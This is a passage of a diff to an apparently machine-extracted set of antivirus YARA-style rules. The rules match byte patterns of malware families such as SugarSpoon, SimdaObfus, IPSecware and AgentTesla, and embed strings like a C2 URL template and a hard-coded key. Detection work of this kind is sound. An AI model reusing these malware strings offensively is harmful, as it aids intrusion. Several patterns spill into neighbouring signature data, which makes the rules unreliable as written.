1)*29797+(#a_74_5 & 1)*28524+(#a_00_6 & 1)*29305+(#a_77_7 & 1)*385+(#a_72_8 & 1)*28271+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_19285{ +rule _InfrastructureShared_20486{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -237724,7 +252600,7 @@ rule _InfrastructureShared_19285{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*31084+(#a_72_2 & 1)*21596+(#a_69_3 & 1)*25445+(#a_54_4 & 1)*18467+(#a_65_5 & 1)*29285+(#a_72_6 & 1)*28531+(#a_73_7 & 1)*26996+(#a_72_8 & 1)*769+(#a_90_9 & 1)*1027) >=10 } -rule _InfrastructureShared_19286{ +rule _InfrastructureShared_20487{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -237746,7 +252622,7 @@ rule _InfrastructureShared_19286{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_72_2 & 1)*28531+(#a_73_3 & 1)*26996+(#a_72_4 & 1)*769+(#a_90_5 & 1)*1027+(#a_72_6 & 1)*20083+(#a_69_7 & 1)*27753+(#a_79_8 & 1)*29281+(#a_00_9 & 1)*1+(#a_41_10 & 1)*8448+(#a_00_11 & 1)*53+(#a_44_12 & 1)*19457) >=13 } -rule _InfrastructureShared_19287{ +rule _InfrastructureShared_20488{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -237767,7 +252643,7 @@ rule _InfrastructureShared_19287{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*28494+(#a_53_2 & 1)*26478+(#a_65_3 & 1)*11885+(#a_50_4 & 1)*30068+(#a_24_5 & 1)*-30392+(#a_89_6 & 1)*4132+(#a_18_7 & 1)*17545+(#a_90_8 & 1)*11552+(#a_48_9 & 1)*400+(#a_90_10 & 1)*-18427+(#a_38_11 & 1)*-31928) >=13 } -rule _InfrastructureShared_19288{ +rule _InfrastructureShared_20489{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -237779,7 +252655,7 @@ rule _InfrastructureShared_19288{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*31875+(#a_24_3 & 1)*-30388) >=1 } -rule _InfrastructureShared_19289{ +rule _InfrastructureShared_20490{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -237792,7 +252668,7 @@ rule _InfrastructureShared_19289{ ((#a_79_0 & 1)*21283+(#a_00_1 & 1)*34+(#a_00_2 & 1)*44+(#a_00_3 & 1)*99) >=2 } -rule _InfrastructureShared_19290{ +rule _InfrastructureShared_20491{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -237806,12 +252682,12 @@ rule _InfrastructureShared_19290{ $a_72_6 = {54 72 61 79 43 6c 69 65 6e 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 34 81 01 51 75 70 6c 61 2e 49 6e 64 69 63 61 74 6f 72 53 65 72 76 65 72 2e 54 72 61 79 43 6c 69 65 6e 74 2e 49 6e 64 75 73 74 75 72 79 2e 72 65 73 6f 75 72 63 65 73 01 00 09 } //30322 $a_65_7 = {4f 62 6a 65 63 74 01 00 0d 81 01 4c 6f 61 64 43 6f 6d 70 6f 6e 65 6e 74 01 00 0c 81 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 0a 81 01 77 77 77 77 77 77 77 77 77 70 01 00 24 81 01 68 74 74 70 3a 2f 2f 7b 30 7d } //385 $a_37_8 = {2f 49 6e 64 69 63 61 74 6f 72 53 74 61 74 65 73 2e 6a 73 6f 6e 01 00 16 81 01 47 34 44 35 34 43 37 44 34 38 41 35 37 45 34 37 59 38 37 48 42 34 01 00 06 81 01 } //14138 - $a_6d_9 = {74 00 00 78 ba 01 00 01 00 01 00 11 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 69 6d 64 61 4f 62 66 75 73 00 01 00 14 03 40 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 41 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 42 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 } //28486 + $a_6d_9 = {74 00 00 78 ba 01 00 01 00 01 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 43 21 64 68 61 00 01 00 65 80 01 2f 56 69 72 74 75 61 6c 4d 61 63 68 69 6e 65 53 65 72 76 69 63 65 43 6f 6e 74 61 69 6e 65 72 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2f 4e 65 74 77 6f 72 6b 49 6e 74 65 72 66 61 63 } //28486 condition: ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*21249+(#a_73_2 & 1)*26479+(#a_01_3 & 1)*4864+(#a_54_4 & 1)*17996+(#a_61_5 & 1)*29550+(#a_72_6 & 1)*30322+(#a_65_7 & 1)*385+(#a_37_8 & 1)*14138+(#a_6d_9 & 1)*28486) >=10 } -rule _InfrastructureShared_19291{ +rule _InfrastructureShared_20492{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " @@ -237821,22 +252697,34 @@ rule _InfrastructureShared_19291{ $a_2e_2 = {72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 34 81 01 51 75 70 6c 61 2e 49 6e 64 69 63 61 74 6f 72 53 65 72 76 65 72 2e 54 72 61 79 43 6c 69 65 6e 74 2e 49 6e 64 75 73 74 75 72 79 2e 72 65 73 6f 75 72 63 65 73 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0d 81 01 4c 6f 61 64 43 6f 6d 70 6f 6e 65 } //28261 $a_00_3 = {0c } //29806 $a_65_4 = {5f 41 73 73 65 6d 62 6c 79 01 00 0a 81 01 77 77 77 77 77 77 77 77 77 70 01 00 24 81 01 68 74 74 70 3a 2f 2f 7b 30 7d 3a 37 35 37 31 2f 49 6e 64 69 63 61 74 6f 72 53 74 61 74 65 73 2e 6a 73 6f 6e 01 00 16 81 01 47 34 44 35 34 43 37 44 34 38 41 35 37 45 34 37 59 38 37 48 42 34 01 00 06 81 01 46 6f 72 6d 61 74 } //385 - $a_ba_5 = {00 01 00 01 00 11 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 53 69 6d 64 61 4f 62 66 75 73 00 01 00 14 03 40 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 41 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 42 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 43 00 ff 74 24 90 04 01 03 81 } //0 - $a_09_6 = {04 00 ff 15 90 00 01 00 14 03 44 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 45 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 46 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 47 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 48 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 49 00 ff 74 24 90 04 01 03 81 2d fb 90 09 } //-1235 - $a_15_7 = {00 01 00 14 03 4a 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4b 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4c 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4d 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4e 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4f 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 13 03 10 ff 74 24 90 04 01 03 81 2d fb 90 09 05 00 ff 15 90 00 00 00 78 ba 01 00 03 00 03 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 50 53 65 63 77 61 72 65 2e 41 21 64 68 61 00 03 00 24 01 35 30 36 32 61 63 36 38 2d 62 32 39 30 2d 34 33 66 37 2d 62 32 61 30 2d 30 39 61 63 61 32 35 30 33 36 33 39 } //4 - $a_03_8 = {45 00 6d 00 62 00 65 00 64 00 49 00 64 00 22 00 3a 00 22 00 [0-30] 22 00 2c 00 22 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 4e 00 65 00 65 00 64 00 65 00 64 00 } //2 - $a_01_9 = {37 00 34 00 31 00 39 00 35 00 32 00 68 00 68 00 65 00 65 00 79 00 79 00 36 00 36 00 23 00 63 00 73 00 21 00 39 00 68 00 6a 00 76 00 38 00 38 00 37 00 6d 00 78 00 78 00 37 00 40 00 38 00 79 00 } //1 741952hheeyy66#cs!9hjv887mxx7@8y - $a_01_10 = {49 50 73 65 63 48 65 6c 70 65 72 53 65 72 76 69 63 65 } //1 IPsecHelperService - $a_01_11 = {43 00 6f 00 6d 00 6d 00 75 00 6e 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 43 00 6c 00 61 00 73 00 73 00 2e 00 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 55 00 72 00 6c 00 } //1 CommunicationClass.DownloadUrl - $a_01_12 = {49 00 6e 00 69 00 74 00 43 00 6c 00 61 00 73 00 73 00 2e 00 49 00 73 00 4e 00 6f 00 64 00 65 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 64 00 } //1 InitClass.IsNodeInstalled - $a_01_13 = {72 00 75 00 6e 00 64 00 6c 00 6c 00 33 00 32 00 2e 00 65 00 78 00 65 00 20 00 61 00 64 00 76 00 61 00 70 00 69 00 33 00 32 00 2e 00 64 00 6c 00 6c 00 2c 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 49 00 64 00 6c 00 65 00 54 00 61 00 73 00 6b 00 73 00 } //1 rundll32.exe advapi32.dll,ProcessIdleTasks - $a_ba_14 = {00 05 00 05 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 57 41 46 5f 42 79 70 61 73 73 00 01 00 58 03 45 00 6d 00 61 00 69 00 6c 00 3a 00 20 00 62 00 6c 00 61 00 63 00 6b 00 73 00 70 00 6c 00 69 00 74 00 6e 00 40 00 67 00 6d 00 61 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c } //0 - $a_2d_15 = {41 2d 5a 61 2d 7a 90 00 01 00 36 03 55 00 73 00 65 00 72 00 2d 00 41 00 67 00 65 00 6e 00 74 00 3a 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 } //2305 + $a_ba_5 = {00 01 00 01 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 43 21 64 68 61 00 01 00 65 80 01 2f 56 69 72 74 75 61 6c 4d 61 63 68 69 6e 65 53 65 72 76 69 63 65 43 6f 6e 74 61 69 6e 65 72 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2f 4e 65 74 77 6f 72 6b 49 6e 74 65 72 66 61 63 65 73 2f 56 4d 4e 65 74 77 6f 72 6b } //0 + $a_65_6 = {66 61 63 65 5b 31 5d 2f 49 70 41 64 64 72 65 73 73 2f 74 65 78 74 28 29 01 00 7d 80 01 2f 56 69 72 74 75 61 6c 4d 61 63 68 69 6e 65 53 65 72 76 69 63 65 43 6f 6e 74 61 69 6e 65 72 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2f 48 6f 73 74 69 6e 67 45 6e 76 69 72 6f 6e 6d 65 6e 74 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2f 53 65 74 74 69 6e 67 5b 40 4e } //28233 + $a_3d_7 = {49 6e 56 4d 41 72 74 69 66 61 63 74 73 50 72 6f 66 69 6c 65 42 6c 6f 62 27 5d 2f 40 56 61 6c 75 65 01 00 44 80 01 2f 52 44 43 6f 6e 66 69 67 2f 48 6f 73 74 69 6e 67 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 2f 41 64 64 69 74 69 6f 6e 61 6c 50 72 6f 70 65 72 74 69 65 73 2f 45 78 74 65 6e } //28001 + $a_6e_8 = {01 00 54 80 01 2f 72 65 73 6f 75 72 63 65 67 72 6f 75 70 73 2f 64 65 66 61 75 6c 74 72 65 73 6f 75 72 63 65 67 72 6f 75 70 2f 70 72 6f 76 69 64 65 72 73 2f 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 70 75 74 65 2f 76 69 72 74 75 61 6c 6d 61 63 68 69 6e 65 73 2f 76 6d 31 00 00 78 ba 01 00 01 00 01 00 11 00 21 23 56 69 72 54 6f 6f 6c 3a } //26995 + $a_33_9 = {2f 53 69 6d 64 61 4f 62 66 75 73 00 01 00 14 03 40 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 41 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 42 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 43 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 } //26967 + $a_00_10 = {ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 45 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 46 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 } //788 + $a_00_11 = {ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 48 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 49 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4a } //788 + $a_24_12 = {04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4b 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4c 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4d 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4e 00 ff 74 24 90 04 01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 14 03 4f 00 } //-256 + $a_90_13 = {01 03 81 2d fb 90 09 04 00 ff 15 90 00 01 00 13 03 10 ff 74 24 [81-fb] 90 09 05 00 ff 15 } //29951 + $a_ba_14 = {00 03 00 03 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 50 53 65 63 77 61 72 65 2e 41 21 64 68 61 00 03 00 24 01 35 30 36 32 61 63 36 38 2d 62 32 39 30 2d 34 33 66 37 2d 62 32 61 30 2d 30 39 61 63 61 32 35 30 33 36 33 39 02 00 3b 03 45 00 6d 00 62 00 65 00 64 00 49 00 64 00 22 00 3a 00 22 00 90 02 30 22 00 2c 00 22 00 49 00 6e 00 74 } //0 + $a_00_16 = {74 00 4e 00 65 00 65 00 64 00 65 00 64 00 90 00 01 00 40 01 37 00 34 00 31 00 39 00 35 00 32 00 68 00 68 00 65 00 65 00 79 00 79 00 36 00 36 00 23 00 63 00 73 00 21 00 39 00 68 00 6a 00 76 00 38 00 38 00 37 00 6d 00 78 00 78 00 37 00 40 00 38 00 79 00 01 00 12 01 49 50 73 65 63 48 65 6c 70 65 72 53 65 } //110 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29541+(#a_2e_2 & 1)*28261+(#a_00_3 & 1)*29806+(#a_65_4 & 1)*385+(#a_ba_5 & 1)*0+(#a_09_6 & 1)*-1235+(#a_15_7 & 1)*4+(#a_03_8 & 1)*2+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_ba_14 & 1)*0+(#a_2d_15 & 1)*2305) >=17 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29541+(#a_2e_2 & 1)*28261+(#a_00_3 & 1)*29806+(#a_65_4 & 1)*385+(#a_ba_5 & 1)*0+(#a_65_6 & 1)*28233+(#a_3d_7 & 1)*28001+(#a_6e_8 & 1)*26995+(#a_33_9 & 1)*26967+(#a_00_10 & 1)*788+(#a_00_11 & 1)*788+(#a_24_12 & 1)*-256+(#a_90_13 & 1)*29951+(#a_ba_14 & 1)*0+(#a_00_16 & 1)*110) >=17 } -rule _InfrastructureShared_19292{ +rule _InfrastructureShared_20493{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 43 21 64 68 61 00 01 00 65 80 01 2f 56 69 72 74 75 61 6c 4d 61 63 68 69 6e 65 53 65 72 76 69 63 65 43 6f 6e 74 61 69 6e 65 72 43 6f 6e 66 69 67 75 72 61 74 } //16675 + $a_2f_1 = {65 74 77 6f 72 6b 49 6e 74 65 72 66 61 63 65 73 2f 56 4d 4e 65 74 77 6f 72 6b 49 6e 74 65 72 66 61 63 65 5b 31 5d 2f 49 70 41 64 64 72 65 73 73 2f 74 65 78 74 28 29 01 00 7d 80 01 2f 56 69 72 74 75 61 6c 4d 61 63 68 69 6e 65 53 65 72 76 69 63 65 43 6f 6e 74 61 69 6e 65 72 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2f 48 6f 73 74 69 } //28521 + $a_6e_2 = {69 72 6f 6e 6d 65 6e 74 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2f 53 65 74 74 69 6e 67 5b 40 4e 61 6d 65 3d 27 49 6e 56 4d 41 72 74 69 66 61 63 74 73 50 72 6f 66 69 6c 65 42 6c 6f 62 27 5d 2f 40 56 61 6c 75 } //26478 ironmentConfiguration/Setting[@Name='InVMArtifactsProfileBlob']/@Valu + condition: + ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28521+(#a_6e_2 & 1)*26478) >=1 + +} +rule _InfrastructureShared_20494{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 11 00 21 " @@ -237858,7 +252746,7 @@ rule _InfrastructureShared_19292{ ((#a_72_0 & 1)*22051+(#a_fb_1 & 1)*-32509+(#a_09_2 & 1)*-1235+(#a_15_3 & 1)*4+(#a_00_5 & 1)*101+(#a_00_6 & 1)*67+(#a_72_7 & 1)*21504+(#a_00_9 & 1)*108+(#a_42_10 & 1)*17985+(#a_00_11 & 1)*144+(#a_00_13 & 1)*101+(#a_00_15 & 1)*46+(#a_41_16 & 1)*11617) >=1 } -rule _InfrastructureShared_19293{ +rule _InfrastructureShared_20495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -237872,7 +252760,7 @@ rule _InfrastructureShared_19293{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_00_3 & 1)*121+(#a_69_4 & 1)*29285+(#a_00_6 & 1)*114) >=3 } -rule _InfrastructureShared_19294{ +rule _InfrastructureShared_20496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -237887,7 +252775,7 @@ rule _InfrastructureShared_19294{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_65_2 & 1)*26977+(#a_7a_3 & 1)*24922+(#a_01_4 & 1)*-28672+(#a_65_5 & 1)*8303) >=5 } -rule _InfrastructureShared_19295{ +rule _InfrastructureShared_20497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -237903,7 +252791,7 @@ rule _InfrastructureShared_19295{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*29264+(#a_74_2 & 1)*28265+(#a_01_3 & 1)*6912+(#a_41_4 & 1)*28005+(#a_24_5 & 1)*9252+(#a_54_6 & 1)*28261) >=7 } -rule _InfrastructureShared_19296{ +rule _InfrastructureShared_20498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -237917,7 +252805,7 @@ rule _InfrastructureShared_19296{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*103+(#a_00_3 & 1)*46+(#a_00_4 & 1)*46+(#a_00_5 & 1)*55) >=10 } -rule _InfrastructureShared_19297{ +rule _InfrastructureShared_20499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -237930,13 +252818,12 @@ rule _InfrastructureShared_19297{ $a_ba_5 = {00 18 00 18 00 0f 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4d 54 41 21 4d 54 42 00 02 00 25 80 01 53 69 6d 70 6c 65 43 61 6c 63 75 6c 61 74 6f 72 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 02 00 2e 80 01 4f 6e 42 42 51 78 78 68 47 4c 6e 76 5a 45 70 69 6b 44 69 78 69 54 43 76 77 45 5a 72 6b } //0 $a_66_6 = {70 47 4c 6e 68 42 5a 66 4f 70 43 4c 02 00 0a 80 01 41 45 53 44 65 63 72 79 70 74 02 00 0a 80 01 44 45 53 44 65 63 72 79 70 74 02 00 0f 80 01 52 69 6a 6e 64 61 65 6c 44 65 63 72 79 70 74 02 00 0b 80 01 52 69 6a 6e 44 65 63 72 79 70 74 02 00 09 80 01 49 6e 24 4a 24 63 74 30 72 02 00 0a 80 01 52 65 67 41 73 6d 2e 65 78 65 02 00 18 80 01 4d 44 35 43 72 79 } //20843 $a_53_7 = {72 76 69 63 65 50 72 6f 76 69 64 65 72 02 00 1b 80 01 53 48 41 32 35 36 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 02 00 18 80 01 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 02 00 18 80 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 02 00 2e 80 01 51 73 4a } //29808 - $a_76_8 = {4a 51 5a 47 4d 72 6b 51 47 55 72 4a 43 5a 66 44 78 4a 73 70 4f 69 41 70 4f 54 45 44 45 44 51 51 51 42 42 45 44 68 02 00 0d 80 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 02 00 10 80 01 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 00 00 78 bb 01 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 52 65 6c 65 76 61 6e 74 4b 6e 6f 77 6c 65 64 67 65 00 01 } //27457 - $a_53_9 = {66 } //6912 f + $a_76_8 = {4a 51 5a 47 4d 72 6b 51 47 55 72 4a 43 5a 66 44 78 4a 73 70 4f 69 41 70 4f 54 45 44 45 44 51 51 51 42 42 45 44 68 02 00 0d 80 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 02 00 10 80 01 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 00 00 78 ba 01 00 cc 00 cc 00 1a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6f 6b 75 76 65 72 } //27457 condition: - ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*-32479+(#a_6b_2 & 1)*27746+(#a_6e_3 & 1)*29801+(#a_77_4 & 1)*26223+(#a_ba_5 & 1)*0+(#a_66_6 & 1)*20843+(#a_53_7 & 1)*29808+(#a_76_8 & 1)*27457+(#a_53_9 & 1)*6912) >=10 + ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*-32479+(#a_6b_2 & 1)*27746+(#a_6e_3 & 1)*29801+(#a_77_4 & 1)*26223+(#a_ba_5 & 1)*0+(#a_66_6 & 1)*20843+(#a_53_7 & 1)*29808+(#a_76_8 & 1)*27457) >=10 } -rule _InfrastructureShared_19298{ +rule _InfrastructureShared_20500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 0f 00 21 " @@ -237945,19 +252832,52 @@ rule _InfrastructureShared_19298{ $a_6e_1 = {42 51 78 78 68 47 4c 6e 76 5a 45 70 69 6b 44 69 78 69 54 43 76 77 45 5a 72 6b 6b 51 76 66 54 70 47 4c 6e 68 42 5a 66 4f 70 43 4c 02 00 0a 80 01 41 45 53 44 65 63 72 79 70 74 02 00 0a 80 01 44 45 53 44 65 63 72 79 70 74 02 00 0f 80 01 52 } //384 $a_64_2 = {65 6c 44 65 63 72 79 70 74 02 00 0b 80 01 52 69 6a 6e 44 65 63 72 79 70 74 02 00 09 80 01 49 6e 24 4a 24 63 74 30 72 02 00 0a 80 01 52 65 67 41 73 6d 2e 65 78 65 02 00 18 80 01 4d 44 35 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 02 00 1b 80 01 53 48 41 32 35 36 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f } //27241 $a_65_3 = {02 00 18 80 01 44 45 53 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 02 00 18 80 01 41 65 73 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 02 00 2e 80 01 51 73 4a 41 6b 73 76 4f 4a 51 5a 47 4d 72 6b 51 47 55 72 4a 43 5a 66 44 78 4a 73 70 4f 69 41 70 4f 54 45 44 45 } //26998 - $a_51_4 = {42 45 44 68 02 00 0d 80 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 02 00 10 80 01 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 00 00 78 bb 01 00 01 00 01 00 08 00 21 23 48 53 54 52 3a 52 65 6c 65 76 61 6e 74 4b 6e 6f 77 6c 65 64 67 65 00 01 } //20804 - $a_53_5 = {66 } //6912 f - $a_72_6 = {5c 52 65 6c 65 76 61 6e 74 4b 6e 6f 77 6c 65 64 67 65 5c 01 00 0b 01 72 6c 76 6b 6e 6c 67 2e 65 78 65 fb ff 5e 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 49 00 6c 00 79 00 61 00 20 00 4b 00 68 00 65 00 79 00 66 00 65 00 74 00 73 00 20 00 68 00 74 00 74 } //30580 - $a_00_8 = {77 00 77 00 77 00 2e 00 61 00 6e 00 76 00 69 00 72 00 2e 00 6e 00 65 00 74 00 fb ff 36 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 } //47 - $a_00_11 = {76 00 69 00 72 00 20 00 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 fb ff 26 00 4c 6f 67 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 62 79 20 41 6e 56 69 72 20 54 61 73 6b 20 4d 61 6e 61 67 65 72 fb ff 34 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 58 00 2d 00 43 00 } //65 - $a_00_12 = {61 00 6e 00 65 00 72 00 fb ff 34 00 43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 00 00 00 00 54 00 6f 00 74 00 61 00 6c 00 20 00 50 00 43 00 20 00 43 00 61 00 72 00 65 00 fb ff 32 00 20 62 79 20 4a 61 79 20 4c 6f 64 65 6e 2e 20 43 72 65 61 74 65 64 20 74 6f 20 72 65 6d 6f 76 65 20 } //108 - $a_77_13 = {20 41 49 4d 20 76 69 72 75 73 65 73 00 00 78 bb 01 00 04 00 04 00 07 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 65 44 4c 4c 5f 4a 61 76 61 73 63 72 69 70 74 5f 44 65 63 72 79 70 74 6f 72 00 04 00 2f 03 53 45 44 6c 6c 5f 57 69 6e 33 32 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 } //28267 - $a_61_14 = {7a 41 2d 5a 30 2d 39 } //281 + $a_51_4 = {42 45 44 68 02 00 0d 80 01 48 61 73 68 41 6c 67 6f 72 69 74 68 6d 02 00 10 80 01 49 43 72 79 70 74 6f 54 72 61 6e 73 66 6f 72 6d 00 00 78 ba 01 00 cc 00 cc 00 1a 00 21 23 41 4c 46 3a 54 